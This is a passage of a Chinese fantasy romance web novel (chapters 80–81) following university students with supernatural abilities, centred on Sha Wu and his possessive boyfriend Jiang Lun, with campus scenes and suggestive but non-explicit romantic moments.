她爸妈镇守了华夏大区最大的污染源那么多年，只有亲身体验过，才知道他们承受了多大的压力。 她该为父母分担。 小白龙爬到姚昭华身边，张嘴就想咬，被姜纶一把薅住：“想干嘛？” 小白龙摇头摆尾，想要挣脱姜纶的钳制：“我要咬大姐一口！” 姚昭华抬手就敲了小白龙一个毛栗子，伸出胳膊：“来，咬啊！给你咬，你咬得动吗？” 小白龙扭头就咬，被姜纶抱走，一口咬空，戏很足地大喊：“大姐身上有污染，有好吃的污染，我尝尝！” 贪吃的小白龙简直比过年的猪还难按，姜纶疑惑地看向姚昭华：“污染？” 姚昭华仔细感受了一下：“哦，有一点。跟污染源待久了，对自己的污染有点忽视了。小伍能感受出来？” 风阳羽看了看：“很少的一点。” 太阳神鸟属于天生火系净化，对污染的感受竟然没有沙伍敏感。 “你别什么都吃！”姜纶把小白龙死死抱在怀里。 小白龙朝着姚昭华伸出两只小短腿：“要净化服务吗？免费的，包好的。” 姚昭华觉得这幅样子的小白龙很好玩：“来。”一个一级的小朋友，还能净化得了她？ 小白龙就朝着姚昭华张开一个泡泡。 姚昭华并没有去抵触这么一个很初级的异能，让它作用在自己身上，并且刻意停止了继续收敛自己的污染。 “咦？好像还真的有点用。”姚昭华看了看姜纶，想到沙伍是姜纶的专属净化者，确实是有点讲究的。 沙伍对自己的净化效果不满意：“等着，我放大招。” 姚昭华冲他招手：“来，小破孩子还有什么大招？尽管放马过来。” 沙伍直接变成了大白龙，轻薄却足以遮挡住视线的雾气弥漫。 山洞内一直平滑如镜的深潭突然荡漾起一圈圈涟漪。 第80章 暴露本性 温和的暖风吹散雾气，露出眨巴着大眼睛的大白龙：“怎么了？” 风阳羽把双手拢在袖子里：“你小子……这大招可别乱放。” 他心有余悸地回头看了看深潭。 一个一级，竟然能够扰动底下的污染源。 这是什么怪物？ 大白龙学着姜俣把尾巴盘起来，发现自己并不能盘得那么圆，突然想起来，变成大乌鸦，飞到姜纶肩膀上：“上次我变成你的样子，被个燕子认错了。他分不清一级和九级吗？” “你的变化能够保留模仿对象的一部分能力，模糊掉对方的感知。”姜俣感慨，“非常厉害的幻术能力。” 沙伍瞬间就精神了：“那我现在是不是能变成个太阳！” 风阳羽看着他：“来，变一个。”他都变不成太阳，这小子还能变个太阳？ 沙伍张了张翅膀，酝酿了一下，啥都没酝酿出来：“唉，我还以为我变个妈妈，到时候天下无敌。” 姜纶疑惑：“为什么不是爸爸？” 沙伍瞬间开启地域模式：“我是青龙城的人，当然是变成青龙！” “对，青龙是最厉害的。”姚瑞云很高兴，对姜俣眨眨眼。 姜俣看着妻子的眼神甜得能齁死人，顾忌着还有小辈们在，他很快对风阳羽说道：“应该是老头子知道你九级了，想让你回去支撑门庭。你要是这时候回去，可以直接当家做主。” 风阳羽皱眉：“不感兴趣，烦人。”说着，他直接变成大乌鸦，飞到一根栖杆上自闭。 姜俣注意到山洞内多出来的各种东西，神情明显不太高兴，语气倒还算平和：“那你就待在我这边，老头子不敢过来找你。要是不想待在这里，可以去青龙城找夜珹。” 风阳羽看看姜俣的表情：“那我去青龙城。” 于是，返校的专机上多了个人。 小丑鱼一直不停看大乌鸦。 沙伍就一直看小丑鱼。 姜纶终于忍不住开口：“你们两个，脖子都摆正了。” 沙伍和小丑鱼都乖乖坐好：“哦。” 沙伍一秒钟就靠在姜纶肩头，问小丑鱼：“你干嘛一直看着我叔？” 小丑鱼瑟瑟发抖：“作为一条鱼，你就没有一点面对天敌的恐惧吗？” “没有啊。”沙伍歪嘴笑，“万一叔叔饿了，我可以先把你上贡。” 必要时刻，他甚至能变成天敌。 “扑街！”小丑鱼骂骂咧咧，“等回学校见到院长，你就老实了。” 那必须不能老实。 伍哥就没老实过。 飞机降落在学校机场。 小丑鱼比预计提前了许多到学校，很快就被抓了壮丁：“啊，李老师让我去校门口帮忙迎新。你一起？” 沙伍把大乌鸦交给姜纶：“好叭。” 姜纶勉强接受：“那我先带叔叔去见院长。一会儿你忙完了直接回宿舍，别在外面耽搁。” “知道啦~”沙伍等他一走，就把脑后黑色的发带扯掉，拿了一根橡皮筋把脑门前的刘海扎了个小揪揪，又把外套脱了，把衬衫袖子卷起来。 小丑鱼在边上鼓掌：“变身！” 沙伍低头等来两辆小飞车：“啊，长头发好烦。”心想：你还没见过真正的变身呢。 其实他的头发也不是很长，刚刚及肩，就是不习惯。 小丑鱼很是羡慕，当然不是羡慕他的头发长度，而是：“你一个暑假就已经异能溢出了，是不是二级也快了？”就知道有钱人卷起来不要命。 异能最容易改变一个人的地方，就是外观的毛发、瞳色之类。 一般情况下，外观改变一种是因为异能溢出，通常发生在升级前后，对异能掌控力度不够；另外一种就是类似姚瑞云那种，异能太多，只能往别的地方扩散。 “不知道。”他没怎么特意练习对异能的控制力，一个暑假都在玩变身小游戏，“走吧，当苦力去。” 一年级新生通常会比其他年级的学生来得早一点。 这会儿校门口已经人满为患。 由于学校太大，学生们不太可能靠着自己的两条腿带着行李走到宿舍楼，并且完成报名等一系列工作。 学校其实有用大巴接送。 无奈新生人数太多，还都集中在一两天内到，大巴根本就不够。 沙伍和小丑鱼开的小飞车是私人的，专门接送青龙学院的学生。 青龙学院位置在学校的最东面，距离校门口最远。 普通学生看到青龙学院，大部分都敬而远之。 沙伍跑了一趟小飞车，就换了货车：“差点忘了，我已经是有驾照的人了。” 货车没有大巴舒服，但是能装更多的行李。 学生们也不矫情，看到什么坐什么。 桃花水母看到，对沙伍喊了一声：“来个加座！” 沙伍回头喊：“你自己飞啊。”话是这么说，他还是在行李堆上放了个泡泡。 桃花水母瞬间就变成觉醒体进去躺平：“差点以为要腿着去宿舍。你怎么变白毛了？” 沙伍说了声：“坐好了。”发动车子起飞，才回答桃花水母，“因为我变强了。” “切~什么时候出海去打渔啊？” “你在班级群里问问，让班长组织？现在还没几个人到校吧？” 沙伍是想着要跟沙妈妈待几天，才回来得早。 小丑鱼是要准备读第二学位，有一些手续要办理，加上在学校有学习氛围。 这才赶上了新生入学。 桃花水母不知道是什么原因提早到校，但是人家不说，他也不方便问。 “班长和郑郑被家里人带着出海去了，估计要到开学才能联系上。”桃花水母失去梦想，在泡泡里漂浮，“对了，我的宿舍换到十区了，到时候麻烦绕一下。” “你换新宿舍了啊？” 十区，单人大别墅，住着的全是危险分子。 “嗯。” 沙伍先把桃花水母送到十区，再把新生们送到一区。 下午人没这么多，他就把货车留下，自己踩着飞板回新宿舍，路过旧宿舍的时候，看到有人在里面忙碌，也不知道是干什么的，没多停留就走了。 姜纶刚回来没多久，看到沙伍踩着飞板直接飞到露台，伸手就把人从飞板上抱下来，顺手把扑过来的小粉拍开。 小粉哈气：“哈——” 姜纶理都不理，把小粉从露台扔下去，顺手关上阳台门：“还以为你要忙到晚上呢。” 沙伍感觉自己不是被姜纶抱着，而是姜纶大猫猫硬往他怀里塞：“没，他们不缺人，只是缺交通工具。我把车留下，就用不着我了。” 他想问问大乌鸦的事情，想了想还是把全部注意力放在姜纶身上。 姜纶像是没看到飞上来扑在玻璃上的猫，房间窗帘拉上，把沙伍往床上带：“陪我午觉。” “啊？”一个多月没见到梁管家他们，不是应该先见见人吗？他还准备了小礼物。 姜纶脸上的笑容渐渐消失：“怎么了？” 沙伍眨眼：“没怎么，就是想着上床前先洗澡。” 姜纶无奈，把人送进浴室，给拿了非常保守的长袖长裤的睡衣，等沙伍洗完澡换完衣服出来，埋头在沙伍肩窝吸气：“我辅修了医学。” “嗯？怎么突然学医……嗯~”猝不及防被姜纶咬了一口脖子，沙伍发出连自己都感觉羞耻的声音，瞬间整个人都升温了。 姜纶伸手从他睡衣下摆摸进去：“我想亲自给你做体检。” 沙伍拉着姜纶的脖子亲上去，过了一会儿才小声问：“你这个体检，正经吗？” “你想要正经的，还是不正经的？” 这让他怎么回答？ 沙伍感觉姜纶忍得快要变态了，见到他都有些害怕。 还好鸭老师晚上就来了，很快就梳理了课程，开始一对一指导姜纶医学知识。 姜纶学起来很快，非常快。 沙伍本来以为姜纶以前的基础属于久病成医，但等他旁听了半天课后，整个人都麻了：“姜纶实际上是有医师执业证书的吧？” “没有。我没考。”姜纶是真没有。 所以，能力是有的。 沙伍觉得姜纶的学习进度非常可怕。 鸭老师倒是觉得很正常：“九级的精神力远超常人，现在的学习速度快是正常的。姜纶缺乏的是实践经验。这得慢慢积累，没有捷径走。” 所以只是做个体检，其实姜纶本身的专业能力就足够，还学这么多干嘛呢？ 难道是为了更好的PLAY？ 住脑！ 想什么呢？ 沙伍干脆也捡起自己连半吊子都算不上的医学知识，开始一边冥想，一边针对自己的星空进行调整和修复。 他吸收的能量，一多半被另外一片星空吸收，一小半停留在最近的星空中，但确实是有少部分泄露了出去。 姚昭华说他像个破麻袋，并不是瞎说。 他现在泄露出去的那些异能，对他来说影响不大，但他凭本事锻炼出来的异能，凭什么漏掉？ 该补的窟窿得补。 闲着也是闲着，他不再拘泥于星空，精神体开始沿着身体游走，仔仔细细排查身体有哪里不对。 鸭老师看了一眼：“小伍都会自己体检了。” 姜纶没说话。 鸭老师叹息：“现在不是春天啊，你别季节紊乱，被生物本能支配。” 姜纶知道自己这段时间越来越过分，像现在这种自己的上课时间，明明可以让沙伍干自己的事情去，但人一旦离开自己的视线，他就忍不住焦躁，甚至暴躁：“我尽量。” 生物本能支配？确实是。 沙伍从冥想中醒过来，一睁眼就对上姜纶紧盯着自己的眼睛，并没有被吓到，只是打了个哈欠，伸手挂在姜纶脖子上：“什么时候下课的？怎么不叫我？” 鸭老师什么时候走的都不知道。 姜纶抱着他：“我给你做个体检？” 沙伍确实是很久没做过体检了，闻言就要站起来准备去医院：“走。” “不用走，在这里就好。”姜纶把他放到沙发上，伸手解开他的衣扣，“放轻松，不要抗拒，接纳我。” 沙伍咽了咽口水，鸡皮疙瘩都起来了，紧紧盯着姜纶：“现在？” “不行吗？”姜纶露出有些委屈的神色。 沙伍瞬间心软了：“行！” 然后他就感觉到一股和鸭老师差不多的暖流进入身体，只是和鸭老师的那种春风拂面的不一样，姜纶的异能像是温度偏高的热水。 他像是突然意识到自己的身体一片冰寒，像是在冬天的户外待了很久，这会儿泡在热水里慢慢解冻，毛孔中有些刺痒，温度一点点渗透进肌肉，甚至是骨骼中。 他看着姜纶的目光一点点涣散，迷茫地看着汗水从他的下巴滴落。 脑海短暂晕眩，被姜纶拉入到双修中。 浩瀚无垠的海面一反常态地平静。 只是这种平静底下，酝酿着更多的暗流。 他漂浮在深蓝近黑的海面上，眼角的余光看到海面下金色的巨大影子徘徊。 “你怎么也可以和爸爸那样盘得很圆？” 他嘀嘀咕咕，整个人觉得特别累，一动都不想动。 一只覆盖着金色鳞片的手从海底伸上来，手指贴着沙伍的脖颈轻轻抚摸。 沙伍想要抬手拍他一下，手却很沉，一点都动不了：“困。” 姜纶抱着他，把他拉入深海。 海面下的暗流全都停滞，海面上亮起璀璨的星空。 沙伍感觉自己一觉睡得格外沉，醒过来的时候全身都软，像是不知道多少天没有吃东西，偏偏精神又很好，是那种得到充分休息的好，就是活动空间基本没有，被人缠得死紧。 这个缠着他的人，想都不用想：“姜纶。” “嗯？”姜纶显然还没睡醒，只是听见沙伍的声音应了一声，下意识想调整一个姿势，没想到直接掉了下去。 他坐在地上，连头发丝都透着茫然，在看到沙伍的时候，又露出一个笑：“小鲨鱼。” 沙伍打了个哈欠，从沙发上坐起来，伸手把姜纶从地上拉起来：“把尾巴盘得圆圆的，有什么技巧吗？” 姜纶没想到他会说这个：“啊？这还用什么技巧？”他感受了一下自己的状态，“好像给你体检，我得到的好处更大？” 沙伍看着自然搂到自己腰上的手：“你是有什么易感期吗？最近怎么特别粘人？” “有吗？”姜纶觉得没有，抱着沙伍去洗漱，“晚上我们出去玩？” “去哪儿玩？”沙伍把姜纶推出浴室，“我洗个澡，帮我拿衣服。” 姜纶搂着沙伍的手停顿了好一会儿才拿开，语气中有着自己都没察觉的委屈：“哦。” 沙伍就是简单冲了个澡，很快就打理好自己，又按照姜纶的要求守着他：“晚上陪我回市里，跟沙妈妈一起吃饭。” “那我们晚上睡在市里吗？” 沙伍倒是想，还想去市里的几个博物馆逛逛，看一些雕刻作品，但想到姜纶现在的异常状态，还是不能把不安定因素长时间带到人口密集区：“不了。我们吃个晚饭，然后去逛个夜市就回来。” 姜纶洗完澡，简单围了个浴巾出来，拉着沙伍一起去衣帽间，突然低头亲了他一下。 沙伍猝不及防：“干嘛？” “就是看着我们的衣服摆在一起。”新宿舍里只有他们俩人的房间，没有姜纶的房间和沙伍的房间，感觉就很开心。 沙伍都不知道该说什么。 还说不是易感期，这都住了几个月了，怎么还在感慨？ 他倒是没说什么，就顺着姜纶的话，给他拿衣服换。 出发前怎么就忘了问爸妈，也不知道姜纶这种情况正不正常。 他倒是不介意姜纶黏黏糊糊，就是怕有什么问题。 一直到新生军训结束，学校正式开学，沙伍才算是通过姚昭华辗转联系到姚瑞云。 姚瑞云联系过来的时候，他们正在学校食堂里午餐。 沙伍在食堂吃了一个学期，第一次知道学校食堂还有包间。 布置堪称奢华的包间里只有他们两个人，他当着姜纶的面把他的反常直接说了。 姜纶一点都不觉得有问题：“哪有反常，很正常。” 姚瑞云眼神有些奇异地看向姜纶：“正常还是有点正常的。” 沙伍：“所以有很多点的不正常？” 开学后，姜纶不仅是陪他午饭，还陪着他上课。 要知道一年级几乎所有的课程都没见他上过。 昨天他还看到有热搜说姜家小少爷疑似被家里警告，开始认真上学了。 再远一点的还有姜家小少爷智商堪忧，哪怕进入了青龙学院，期末考试成绩为零。 天知道这家伙在课上不是在远程办公，就是在远程操作实验室，监控各地农场的情况，待在课堂上的唯一目的就是跟他贴贴。 姚瑞云不知道该怎么接话，觉得孩子太像父母也有不好。 “你知道小纶的异能很庞大，相对来说控制起来很难。” “嗯。” “他这种样子，应该是快升级了。异能比平时更加难控制，他必须分出更多的心神来压制异能。别的地方就没有精力去压制了。” 沙伍想着姜纶上课时候十来个光屏同时处理，完全看不出没有精力，但还是认真听姚瑞云解释。 姚瑞云看着不以为然的姜纶，无奈笑笑：“他会更多的暴露本性。” 不管是她自己还是姜俣，都会有这方面的问题，对伴侣的独占欲太强，在某些时间段更是会毫不掩饰。 “啊。”沙伍看看姜纶。 所以之前他一个人到处撒欢，不是姜纶不在意，是姜纶一直在克制自己？ 他眨了一下眼睛，后知后觉地捕捉到一个关键信息：“九级之上还能升级？” “能啊。”这对姚瑞云来说显然是一个更为轻松的话题，“不是你说的，厉害的九级都在镇守污染源，菜鸟九级才会到处跑。只是现在九级太少了，力量方面似乎也没有发生什么根本性的改变，是不是十级，还是别的，说不明白。反正现在没有人能对力量摸到顶。” “嗯。”沙伍听她这么一说，感觉比较合理。 姚瑞云继续说道：“小纶的情况比较特殊。他一直是强度过分强，但是精神力跟不上，不能控制自己的力量。”她的眼神看了看姜纶之后，落在沙伍身上，“你在给他承担精神控制的压力。” “啊？我没感觉到压力……”沙伍从来不觉得姜纶对他有什么压力，顶多就是那方面的压力。 他感觉脸皮发烫，还好姚瑞云也没有继续再聊家常的意思，见他们没有疑问后，就结束了通讯。 姜纶勾着他的下巴微微抬起，贴着他的唇一边亲一边问：“压力？” 沙伍下意识回吻，突然恼羞成怒，一口咬上去：“哼！” “嘶——” 沙伍感觉到隐隐的血腥味，慌忙松口：“对不起。” 姜纶反手摁着沙伍的后脑勺。 沙伍被他亲得灵魂出窍，恍恍惚惚听见他压抑的声音。 好想……好想吃了他……想舔他……把他…… 沙伍迷迷糊糊地想着，怎么有人能一边亲一边说话的？ 但是在传递进脑海的话语逐渐变成画面，并且越来越激烈的时候，他猛地回神，推开姜纶：“你住脑！” 这是什么双修后遗症吗？ 怎么他还能看到姜纶脑子里的想法？ 他一点都不想知道姜纶在想什么！ 不知道是不是能够变身小白龙的关系，沙伍一个暑假下来，本来就白皙的皮肤更是白了一个色号，从原本有些病态的苍白，变成了红润的白皙。 这会儿热血上涌，脸上红得更加明显。 他赶紧转移话题：“我看到旧宿舍有人在里面，是准备做什么？” 姜纶发出一声轻笑，显然是觉得他这个话题转得非常生硬，但看着已经手足无措的沙伍，他还是选择顺着他的话题说下去：“改成我的办公室。以后我会在里面处理一些学校和青龙城的工作。到时候会留一层楼，我们可以在那里午休。”顿了顿，“其实我带你回新宿舍午休也不远。” 想着新旧两个宿舍的人太多，他下意识有些不喜欢，喃喃抱怨，“可惜生蚝岛离得太远了。” 沙伍花了很长时间，才恢复平静。 但是姜纶显然没有那么快就升级。《 》 80-85 第81章 出手 姜纶不仅陪着沙伍上专业课，还陪着沙伍上公共课。 二年级开始，他们的课程不再像一年级那样统一，开始有了专业细化。 沙伍上的是净化专业。 公共课则只剩下思想教育、语文、数学，另外选修了一门外语。 专业课还好，毕竟青龙学院人少，多见姜纶几次也就习惯了。 专业课很难，老师上课时候不专心听讲，事后就跟听天书似的。 相比学习成绩，什么帅哥美女都是浮云。 要知道青龙学院的学生的学到的知识，是直接和他们未来的生命安全挂钩的。 异能者有更高的收入，享受更好的福利待遇，背后是他们从事了更加危险的工作。 公共课就比较糟心。 沙伍头一次意识到共工大学有这么多人，而且每次只要姜纶上公共课，就会刷新茫茫多的NPC。 这些人倒不是真的对姜纶有什么想法，很多都是觉得姜纶长得帅，以及好奇姜家小少爷到底长什么样。 但也不是没有对姜纶有想法的人。 哪怕抛开家世，姜纶本身的长相就足够吸引人。 本来男朋友被人觊觎就很烦了，竟然还有大胆的上前送礼物告白，伍哥能忍？ 沙伍冷着脸把包装漂亮的礼物精准丢回到送东西的女生怀里：“他有男人了。” 一个男生眼前一亮：“那我……” 沙伍冷笑：“不怕被我打死吗？” 姜纶被维护得心满意足，低头在沙伍侧脸亲了亲：“我家小鲨鱼说得对。” 他嘴角的笑容甜得腻人，看向沙伍的眼神能拉丝。 十班同学们简直没眼看，劝那些对姜纶有想法的人：“看看就好，想法就别有了。” 姜纶大家都不熟悉，但哪怕是短暂的相处中，大家多少都能感觉到一点，姜纶的脾气其实不怎么好。 姜纶确实好说话，也不怎么计较，主要是别人争抢的东西对他都算不上什么，但涉及到沙伍就不一样了。那是连一点鲨鱼皮都不能动的。 哪怕撇开姜纶不提，想跟大白鲨抢男人，是不是真的想被咬死？ 大白鲨凶名在外，也就是沙伍自己觉得被自己咬伤的同学、学长、学姐都是百分百无辜的。 姜纶真这么好接近，哪里还轮得到其他学院的？ 一行人转战食堂，姜纶临时被叫走，小丑鱼趁机跟沙伍小声逼逼：“你别光看到有人跟你家小少爷示好，自己也多注意着点。” 沙伍一脸莫名：“啊？我注意什么？” 小丑鱼语速飞快：“学校里喜欢你的人很多，很多很多。你多看着点你家小少爷，我总觉得他很危险。” 作为战斗净化者，小丑鱼对人类异能者的感知异常敏锐，哪怕不能感觉到姜纶的实力，直觉就能察觉出姜纶的危险。 “啊？我？”沙伍不敢置信。 不等他追问，姜纶已经回来了，跟小丑鱼招呼了一声，就拉着沙伍的手去包间。 小丑鱼在原地站了一会儿，才去跟其他同学汇合。 虾同学问他：“你跟沙伍说什么呢？” “就是提醒他，学校里有很多人喜欢他。他还一心防情敌呢，真不知道学校里喜欢他的人比喜欢姜纶的人多多了。”小丑鱼说得有些羡慕嫉妒恨。 “你就多余提醒。沙伍那顿感，别人约他去小树林，他都会以为是决斗。”虾同学津津有味地吃掉餐盘里的鱼排，“今年学校食堂里的菜正常得有点不正常。” 小丑鱼看着自己盘子里不会尖叫不会跑路的炒面也很赞同：“换大厨了吧？”作为好朋友，他还是对沙伍不放心，“沙伍钝感就钝感了。姜纶会不会对喜欢沙伍的人出手？” 虾同学依旧情绪平稳：“只要沙伍不对别人动心思，姜纶不会的。小少爷又不是疯狗，逮谁咬谁。” “哦，也是。”小丑鱼松了一口气，心思活泛起来，“你说我们周末能不能去他们宿舍挖沙子？”挖点小贝壳自己开伙做饭，或者卖点小钱钱。 虾同学微微皱眉：“最好不要。” “为什么？” “最近还是别占用沙伍的时间，我怕小少爷对我们出手。”虾同学说得很认真。 小丑鱼呆愣了一会儿：“你说得对。” 但是，姜纶还是对小丑鱼出手了。 沙伍看着一下课就坐上飞车赶往医学院的小丑鱼，跟姜纶肩并肩慢慢走在校园里：“你安排花杨蓉进实验室？” 没有第二专业，更加不用进实验室的沙伍，时间还是很宽裕的。 一年级的时候，他已经把进度赶上了，现在二年级开始按部就班上学就行。 “对。”姜纶不觉得自己这么做有错，“反正他也在想办法进实验室。我给他机会，省得他老是找你说些有的没的。” 沙伍微微蹙眉，认真回忆：“他没跟我说什么啊？你误会什么了？” 姜纶拉着他坐上飞车：“没有误会，我吃飞醋。” “哈哈哈。”沙伍忍不住笑，“你还知道自己吃飞醋啊。那你怎么不对白虹做点安排？”虾同学就不配得到一视同仁吗？ 姜纶挑眉：“白虹用不着。他跟你现在不在同一个专业，在专心学习链路，没时间跟你一起玩。” “那你把我朋友都赶跑了，你陪我玩啊？” “对啊。你想玩什么？” 沙伍拿了一堆乱七八糟的木料，趁着十月份的文化艺术节假期，跟姜纶一起去了生蚝岛。 沙伍坐在窗前，拿着一套刻刀唰唰唰刻木头。 姜纶把木屑和多余的木料丢进新搓的壁炉里烧，听着木柴被烧得劈啪作响，内心格外平静：“我还以为你会让我一起去摆摊卖木雕呢。” 青龙城这个时间还是秋天，中午出太阳的时候还有些热，生蚝岛这里已经是个位数的温度。 经过人工改造的防风保暖的院子里，本土植物开始准备进入休眠期。 智能化控制的暖棚里，植物依旧生长旺盛。 沙伍头也不抬：“会木雕的可不是沙伍。”是他的另外一个身份。 姜纶对着他看了一会儿，也拿起一段木头开始动刀子。 他也不知道要雕什么，就随便划拉。 “哪儿来的这么多木头？” “修剪下来的。新宿舍那儿不是你弄了一些果园什么的，还有种了一些净化植物之类的。”各种植物每年都会需要各种各样的修剪，他只是做雕刻练习，不挑木料，差不多大小合适就行。 他带来的还都是一些果木。 “哦。”姜纶看着专心雕刻的沙伍，像是一幅最美好的画。 他放下刻刀，手上的木料像是有生命力一样生长，一点点变成沙伍的样子。 柔顺的发丝垂在肩头，夹在耳后，露出光洁的额头，低垂的眉眼神情专注，雕到比较困难的部分，脸颊微微鼓起。大概是水系的缘故，嘴唇格外水润。 他的视线顺着沙伍略显宽松的领口往下，不用看也知道底下是什么样的风景。 他很熟悉，很熟悉…… 这样专注的目光，实在是很难让人忽略。 沙伍被看得耳朵已经红了，抗议：“我怎么感觉你在用眼睛扒我衣……”他看清楚了姜纶拿在手里的木雕小人，长着自己的脸，没衣服的。 他不敢置信地瞪大眼睛，倒抽一口冷气。 不、不用这么饥渴吧？ 不是说姜纶对异能的控制力很糟糕吗，在这方面怎么就这么细腻？ 沙伍结结巴巴：“要、要帮忙吗？” “要！”姜纶回答得毫不犹豫，不等沙伍反悔，就把人摁倒在壁炉前的地毯上。 沙伍突然想起姜纶准备的许多地毯：“你说的地毯容易弄脏是……这个意思？” 羊绒地毯厚实柔软，手掌撑在上面微微凹陷，皮肤接触也不会扎人。 然而，无法直视。 客厅换了新的地毯。 姜纶从暖棚摘了新鲜的蔬菜，在做晚饭。 以往这个时候，沙伍喜欢坐在地毯上，背靠着心爱的金龙布偶，喝着茶，一边看剧，一边跟姜纶聊天。 现在，他规规矩矩坐在沙发上，双腿并拢，双手放在膝盖上。 伍哥上小学的时候，坐姿都没这么端正过。 姜纶看他微微颤动的睫毛，泡了一杯奶茶递到他手边：“吓到了？” “没有！”沙伍大声嘴硬，“这种事情是自然而然的，我懂。” 可是纸上得来终觉浅，理论和实践差距也忒大了。 他今天还只是……只是帮忙，这要是来真的，他还能见到明天的太阳吗？该不会待在北极圈里，直接进入极夜了吧？ 他看向姜纶微微眯起的眼睛，嘴角抽抽：“你在想什么？” 姜纶单膝跪在沙发上，侧头亲了亲，又在他嘴角舔了一下：“我在想，吃不到，但是舔舔也能尝个味。” “我是糖吗？！”沙伍大怒，还不忘记喝一口奶茶。 热乎乎的奶茶真好喝，甜甜的。 “你可比糖甜多了。”姜纶把剩下的半杯奶茶喝完，“好了，晚饭。” 晚饭很好吃。 沙伍真心觉得佩服：“你怎么学什么做什么都很快很厉害？”像他到现在还连一个基础链路都勾不出来，磕磕绊绊的。 “我当你是在夸我。”姜纶把厨房和餐厅交给家政机器人，拉着他饭后散步。 当然，他们也没特意去吹寒风，只是在被泡泡过滤了两层的院子里走走。 “夸你。”沙伍拉着姜纶的手摇摇，看到暖棚里有花，转去暖棚里，“种了向日葵？” “嗯。之前我们不是带了一把向日葵的插花？后面有一些种子，让家政机器人种起来了。”姜纶给沙伍介绍暖棚里的布置，“这边面积有限，用的都是小型暖棚。里面比较挤，走路小心。” “哦。”沙伍想了想，变成了一只小小的夜鹭，特别不占地方，还会飞。 姜纶没想到还有这招：“你还能变成这么小的吗？” 沙伍从来没考虑过这个问题，大惊：“不、不可以的吗？” 姜纶自己想明白了：“对，很多人的觉醒体很小。” 沙伍想着班级里那些小小只的小丑鱼、虾、桃花水母同学们，顿时觉得自己能够变大变小很正常。 人家都能实质性变小了，他只是幻术，假的！ 他隐隐觉得有哪里不对，但说不上来。 对于人来说很拥挤的暖棚，对于一只很小的夜鹭来说还是很宽敞的。 沙伍进去飞了一圈，发现里面真不算小，两层楼的高度，还有各种分区，种植的植物品种真不少。 “外面看不出来，没想到你还种了水稻和小麦？” 姜纶抬手接住小小的夜鹭：“还种了高粱和玉米。” 沙伍变回人形：“做实验？”这么小规模的种植，做实验也不够吧？ “没。种着玩。另外我想计算一下。” 沙伍见他不说话，抬头示意：“不要说话说一半。计算什么？” “计算只有我们两个人的话，自给自足需要多大面积的各种蔬菜水果粮食用地。”姜纶说完，露出一个略显腼腆的笑容。 沙伍整个人都惊呆了。 不是，小少爷是在害羞什么？ 什么叫只有两个人？是想着把他关禁闭吗？ 他突然想到姜俣和姚瑞云的生活状态，难道这就是以后他和姜纶的生活写照？ 在无人小岛约会度假是一回事，长期离群索居是另外一回事。 不，他不想被小少爷关起来。 要关，也是他把小少爷关起来！ 姜纶没注意到沙伍一瞬间的想法，问他：“去撬生蚝吗？” 沙伍皱了皱脸：“不去。等回去前再稍微撬一点当土特产送人吧。” 姜纶感到奇怪：“怎么了？吃太多不爱吃了？” 冷水海域生长的海鲜，肉质更加紧实，风味也更好。 他记得沙伍很爱吃。 沙伍看了看他，欲言又止，止又欲言：“那个……” “哪个？”吃个生蚝而已，还能吃出难言之隐了？ “就……生蚝壮阳。”实在不是适合本来就杂念很多的二人世界，尤其是某位身体非常非常非常好的小少爷。 小少爷再补下去，他就要补不下去了。 他都开始幻视自己变成破布娃娃的样子了。 晚上，床上多了一只爆棉花的小鲨鱼布偶。 姜纶算是明白了了一点沙伍的焦虑：“这么害怕？” 沙伍把小鲨鱼布偶放在两人中间：“你是一点都没意识到自己有多凶。” “这不是还没吃到嘴里，馋得太厉害了嘛。”姜纶把小鲨鱼布偶丢到床下，手脚并用把沙伍搂进怀里固定好。 沙伍琢磨了一下他话里面的意思，突然咬人：“什么意思？吃到嘴就不馋了？” “馋的。只是吃到嘴之后，可以馋了就吃，想什么时候吃，就什么时候吃。”他琢磨着再找个岛，谁都不告诉。 实在不行，他就自己造一座岛。 他爸能造一座山，他怎么就不能自己造一座岛呢？ 这次他可以选南极，那边人少，还有不一样的风景。 沙伍听得头皮发麻，全身都失去了力气：“睡觉。少想些有的没的。” “怎么能是有的没的？”姜纶还想跟他探讨探讨，无奈沙伍显然已经不想再说话了，只能抱着他先开始每天一次的体检。 姜纶的体检像是泡热水澡，沙伍几乎是用尽了全部自制力才没发出什么不好的声音。 说体检并不准确，而是细致到精微的滋养和修复。 沙伍感觉到整个人都在融化。 他不知道的是，姜纶的感觉也很刺激。 这是一种最深入的交流。 他用自己的异能去探索沙伍身体的每一寸，甚至于每一个细胞，感觉自己和沙伍彻底融合在一起。 这种感觉和双修还不一样。 双修的时候，他能够明显感觉到沙伍在主导他的精神。 体检的时候，是他在主导沙伍的……一切。 他在对沙伍的身体为所欲为——光是想想就激动到难以自已，更别说实际他就是在这么做。 他在体检中掺杂一点……亿点私货，单纯的小鲨鱼也不会发现，更没力气拒绝。 两人在岛上待了四天，沙伍就再也待不下去了，感觉身体里里外外都打上了姜纶的标签。 姜纶看他冷着脸去海里抓了一堆海鲜，自己只能挑挑拣拣撬了一些生蚝。 环斑海豹跟着大白鲨登陆，说话带着点小心翼翼：“那啥，叫我过来什么事情？” 海豹圆头圆脑，身上的毛发又厚又密，完全看不出曾经差点断成两截。 姜纶想到要结束二人世界，显然心情不是很美丽，语气比较冷淡：“过来吧。我这里有些东西，放着也是坏掉，你可以带回去。” 海豹并没有变成人形，而是蛄蛹着前进，速度很快。 沙伍好奇地跟在后面，发现海豹其实并没有通过肌肉力量在移动，是借助了水系异能在地面上制造出了一个类似海洋的环境，看似在蛄蛹，实际是在游泳。 只是比起他用泡泡也好，水雾也好，海豹对于水系异能的利用率显然高出不知道多少倍，非常节约异能。 姜纶交给海豹的是暖棚出产的大量蔬菜和少部分水果。 海豹收到装满两个集装箱的新鲜果蔬的时候，眼睛都变成了心形：“天啊，小少爷也太好了叭！这位善心的小少爷，能不能把你多余粮食也赠与卑微的我？” “不能。”姜纶不吃海豹这一套，“没有多余的粮食。” 海豹就用小眼神去瞅仓库里储存的粮食。 姜纶拒绝：“那是我要用来酿酒的，不能给你。”酒，他有大用。 沙伍被姜纶看了一眼，感觉莫名其妙。 最后海豹还是拖着两个集装箱和一些鲜花飞快离开。 沙伍不是很理解：“他们极光城缺这些蔬菜吗？” 